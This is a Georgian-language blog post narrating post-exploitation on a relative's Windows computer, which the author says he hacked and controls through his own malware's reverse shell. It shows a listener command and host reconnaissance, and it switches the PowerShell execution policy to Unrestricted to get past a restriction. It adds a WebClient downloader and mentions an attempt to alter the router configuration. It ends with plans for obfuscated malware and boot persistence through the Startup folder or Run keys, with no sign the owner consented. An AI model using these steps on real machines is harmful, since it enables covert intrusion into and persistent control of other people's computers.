ფესვების გაღრმავება ნათესავის კომპიუტერში ნაწილი #1
შესავალი
რამდენიმე ბლოგის წინ ვახსენე, რომ ჩემი ნათესავის კომპიუტერი მაქვს დაჰაკული და reverse shell მომდის 8080/tcp პორტზე. whoami ბრძანების output-იც დავდე, რომელიც იყო: valeri/user. საქმე ისაა, რომ ეს მომხმარებელი არ არის ადმინისტრატორი და რაღაც მეტი მინდა, რომ გავაკეთო. მაგალითად მსურს, რომ powershell სკრიპტები გავუშვა ყველანაირი პრობლების გარეშე ან გავაჩინო wscript.exe პროცესი, სადაც ჩავტენი custom JS კოდს და იმას გავაკეთებ რაც მომესურვება. იდეაში, custom JS არ დამჭირდება და ყველაფერს powershell-ით შევძლებ.
პრობლემები
რამდენიმე პრობლემაა shell-თან დაკავშირებით:
Shellარის ნახევრადinteractive, რაც ნიშნავს იმას, რომ მის შესაძლებლობებს ბოლომდე მაინც ვერ ვიყენებ.- გამორთულია
ExecutionPolicy, უფრო სწორად,ExecutionPolicyარისRestricted, რაც ნიშნავს იმას, რომ არ შემიძლიაpowershellსკრიპტების გაშვება, როგორიცაა.ps1ფაილები, მაგალითად. - შემიძლია
cmd -> powershellგავაკეთო, მაგრამ დიდ კოდს ვერ ვწერ, რადგან მაინც სტანდარტულიShellარის და ბევრი, უფრო კომპლექსური დავალებების შესრულება არ შეუძლია.
ანუ, საბოლოოდ, მჭირდება, რომ Shell გახდეს full interactive და ExecutionPolicy იყოს Unrestricted/AllSigned. აქ AllSigned იმიტომ მაწყობს, რომ მეთვითონ მოვაწერ ხელს ყველაფერს და მაინც იმუშავებს.
ახლა საჭიროა ამ პრობლემების გადაჭრა.
პირველი ეტაპი
რა თქმა უნდა, სანამ სამიზნესთან მუშაობას დავიწყებ, მისგან reverse shell უნდა მივიღო. ასე, რომ ვიყენებ ბრძანებას:
1
wscat -l 8080
როდესაც კავშირი შედგება, უნდა მოვიძიო დეტალური ინფორმაცია ჰოსტის შესახებ systeminfo ბრძანების გამოყენებით.
1
2
3
Host Name: VALERI
OS Name: Microsoft Windows 10 Enterprise
OS Version: 10.0.19045 N/A Build 19045
ახლა უკვე ვიცი, რომ winget ბრძანების გამოყენება შემიძლია.
ასე, რომ გადავალ powershell-ზე, და ვეცდები wget-ის ან curl-ის დაყენებას:
1
2
3
winget install wget
&
winget install curl
ამ ბრძანებებიდან რომელიმეს გამოვიყენებ.
1
2
3
4
5
6
7
8
9
10
11
12
> winget install cURL.cURL
< PS C:\WINDOWS\System32> winget install cURL.cURL
Found cURL [cURL.cURL] Version 8.10.1.7
< This application is licensed to you by its owner.
< Microsoft is not responsible for, nor does it grant any licenses to, third-party packages.
< Successfully verified installer hash
< Extracting archive...
< Successfully extracted archive
< Starting package install...
< An unexpected error occurred while executing the command:
< create_symlink: unknown error: "C:\Users\user\AppData\Local\Microsoft\WinGet\Packages\cURL.cURL_Microsoft.Winget.Source_8wekyb3d8bbwe\curl-8.10.1_7-win64-mingw/bin/curl.exe", "C:\Users\user\AppData\Local\Microsoft\WinGet\Links\curl.exe"
< Portable install failed; Cleaning up...
სამწუხაროდ, cURL.cURL ვერ დავაყენე. ასევე, შეიქმნა პრობლემა wget-ის ინსტალაციისას. გამოდის, რომ powershell-ით უნდა ავწიო HTTP კლიენტი.
მეორე ეტაპი
აქ სხვა პრობლემა ჩნდება. ExecutionPolicy არის Restricted, ასე, რომ სკრიპტების გაშვება შეუძლებელია. არის ორი ვარიანტი: როგორმე შევცვალო ExecutionPolicy -> Unrestricted, ან ხელით გავწერო ყველაფერი.
1
Set-ExecutionPolicy Unrestricted
ვცადე, მაგრამ არ გამოვიდა. ისევ Restricted არის. ასე, რომ მომიწევს გლობალურ ოფციებს დავანებო თავი და მხოლოდ ამ user-ით შემოვიფარგლო.
1
Set-ExecutionPolicy -Scope CurrentUser Unrestricted
ამ მეთოდმა გაამართლა:
1
2
3
4
5
> Set-ExecutionPolicy -Scope CurrentUser Unrestricted
< PS C:\WINDOWS\System32> Set-ExecutionPolicy -Scope CurrentUser Unrestricted
> Get-ExecutionPolicy
< PS C:\WINDOWS\System32> Get-ExecutionPolicy
< Unrestricted
დამატებითი პრობლემა
ახლა გამახსენდა, რომ Malware-ს დამატებითი სკრიპტების ატვირთვის საშუალება არ ჩავუშენე. ასე, რომ მომიწევს ხელით დავწერო ყველაფერი(მაინც!).
HTTP კლიენტი powershell-ში და როუტერთან ჯახი
კარგი, ახლა ვეცდები powershell-ში HTTP კლიენტი დავწერო.
1
2
3
4
5
6
$http_client = New-Object System.Net.WebClient
$url = "http://example.com"
$content = $http_client.DownloadString($url)
Write-Host $content
და ეს გამოჩნდება:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
< PS C:\WINDOWS\System32> Write-Output $content
< <!doctype html>
< <html>
< <head>
< <title>Example Domain</title>
<
< <meta charset="utf-8" />
< <meta http-equiv="Content-type" content="text/html; charset=utf-8" />
< <meta name="viewport" content="width=device-width, initial-scale=1" />
< <style type="text/css">
< body {
< background-color: #f0f0f2;
< margin: 0;
< padding: 0;
< font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", "Open Sans", "Helvetica Neue", Helvetica, Arial, sans-serif;
<
< }
< div {
< width: 600px;
< margin: 5em auto;
< padding: 2em;
< background-color: #fdfdff;
< border-radius: 0.5em;
< box-shadow: 2px 3px 7px 2px rgba(0,0,0,0.02);
< }
< a:link, a:visited {
< color: #38488f;
< text-decoration: none;
< }
< @media (max-width: 700px) {
< div {
< margin: 0 auto;
< width: auto;
< }
< }
< </style>
< </head>
<
< <body>
< <div>
< <h1>Example Domain</h1>
< <p>This domain is for use in illustrative examples in documents. You may use this
< domain in literature without prior coordination or asking for permission.</p>
< <p><a href="https://www.iana.org/domains/example">More information...</a></p>
< </div>
< </body>
< </html>
<
ანუ გამოდის, რომ HTTP client მუშაობს. ეს ძალიან კარგია, რადგან ახლა შემიძლია სპეციალური სკრიპტები ავტვირთო სისტემაში, რომელსაც Start Menu-ში შევინახავ, და ყოველ boot-ზე იმუშავებს.
როუტერთან კავშირი ვცადე, მაგრამ, სამწუხაროდ, HTTP კავშირი არ შედგა. ICMP პაკეტები ჩვეულებრივად მიდის და მოდის, მაგრამ HTTP ვერ გავაკეთე. არადა, მსურდა როუტერის კონფიგი შიდა ქსელიდან ამერია, მაგრამ არაუშავს.
1
winget install nmap
Winget sucks
ახლა ვცდილობ Nmap დავაყენო, მაგრამ ერთი პრობლემა შეიქმნა აქ. Nmap-მა GUI საინსტალაციო ამოაგდო და Shell-თან წვდომა დავკარგე.
ახლა უნდა ვცადო, რომ exit ბრძანებით ჩემს მავნე კოდს ვუთხრა, რომ “ნიჟარა” დაარესტარტოს:
1
2
> exit
Disconnected (code: 1000, reason: "")
მგონი იმუშავა. ახლა 15 წამი უნდა დაველოდო ახალ კავშირს.
ცოტაოდენი ლოდინის შემდეგ, მივხვდი, რომ არა მარტო cmd.exe, არამედ მთლიანი pe ფაილი Nmap GUI-ს ელოდება, ასე, რომ მომიწევს მოგვიანებით განვანახლო შეტევა.
სამომავლო გეგმები:
- დავწერო
ps1სკრიპტები დაpowershell-ისHTTPკლიენტით ავტვირთო სისტემაზე. - მიღებული სკრიპტები მოვათავსო
Start Upფოლდერში.ORმიღებული სკრიპტები ყოველboot-ზეRegistry Run Key-ებიდან გავუშვა(არამგონია, რომ ეს ვქნა). .exeფაილიდან გადავიდეps1სკრიპტებზე და საბოლოოდ დავამონტაჟო ბოტი, რომელსაც ექნება ყველა ის უნარი, რაც ახლანდელს არ აქვს.
როგორ ვაპირებ ამას? უფრო მარტივად, რომ იყოს გასაგები ყველაფერი, ამ დიაგრამას დავტოვებ:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌─────────────────────────────────────────────────────────────┐
│Create and Upload Fully obfuscated Malware with more features│
└─────────────────────────────────────────────────────────────┘
▲
│
│
│
┌───────────┐ ┌──────────────┴─────────────┐
┌────────►│HTTP Client├─────────►│Download custom .ps1 Scripts│
│ └───────────┘ └────────────────────────────┘
┌───────────────┐ │ ▲
│Current Malware├──────┤ │
└───────────────┘ │ RUN│THEM
│ ┌───────────────┐ │
└───────►│Allow Execution├──────────────────────┘
└───────────────┘